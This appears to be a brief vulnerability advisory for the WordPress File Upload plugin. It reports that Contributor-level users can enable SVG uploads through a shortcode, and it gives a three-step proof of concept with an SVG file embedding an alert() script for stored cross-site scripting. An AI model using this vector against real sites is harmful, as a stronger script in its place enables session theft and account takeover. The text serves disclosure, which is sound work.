The plugin allows users with a role as low as Contributor to configure the upload form in a way that allows uploading of SVG files, which could be then be used for Cross-Site Scripting attacks
1. As a contributor (or above) add the following shortcode to a post: [wordpress_file_upload uploadpatterns="*.svg"]
2. Preview/view the post and upload the following xss.svg file <svg xmlns:svg="http://www.w3.org/2000/svg"><svg:script>alert(/XSS/)</svg:script></svg>
3. Go to /wp-content/uploads/xss.svg to trigger the XSS